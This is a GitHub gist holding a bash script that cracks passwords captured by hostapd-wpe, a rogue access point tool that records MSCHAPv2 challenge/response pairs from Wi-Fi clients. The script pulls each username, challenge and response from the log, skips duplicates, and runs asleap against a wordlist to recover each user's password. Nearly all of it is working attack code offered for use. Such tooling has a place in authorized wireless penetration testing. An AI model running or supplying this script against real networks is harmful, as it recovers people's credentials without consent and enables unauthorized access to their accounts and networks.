Skip to content

Instantly share code, notes, and snippets.

@orhun
Created May 16, 2022 13:37
Show Gist options
  • Save orhun/5b20e950b2cb46bea632250a8f22f514 to your computer and use it in GitHub Desktop.
Save orhun/5b20e950b2cb46bea632250a8f22f514 to your computer and use it in GitHub Desktop.
Password cracker script for hostapd-wpe results
#!/usr/bin/env bash
# usage: crack.sh <log> <wordlist>
usernames=()
while read -r username; do
read -r challenge
read -r response
if [ "$username" == "test" ]; then
continue
fi
if [[ " ${usernames[*]} " =~ " ${username} " ]]; then
continue
else
usernames+=("$username")
fi
echo "[~] Cracking $username"
zcat -f $2 | asleap -C "$challenge" -R "$response" -W -
if [ $? -eq 0 ]; then
echo "[+] Password found."
else
echo "[-] Password not found."
fi
printf "\n"
done < <(grep --no-group-separator -E "challenge:" -A 1 -B 1 "$1" | awk -F ':\t' '{print $2}')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment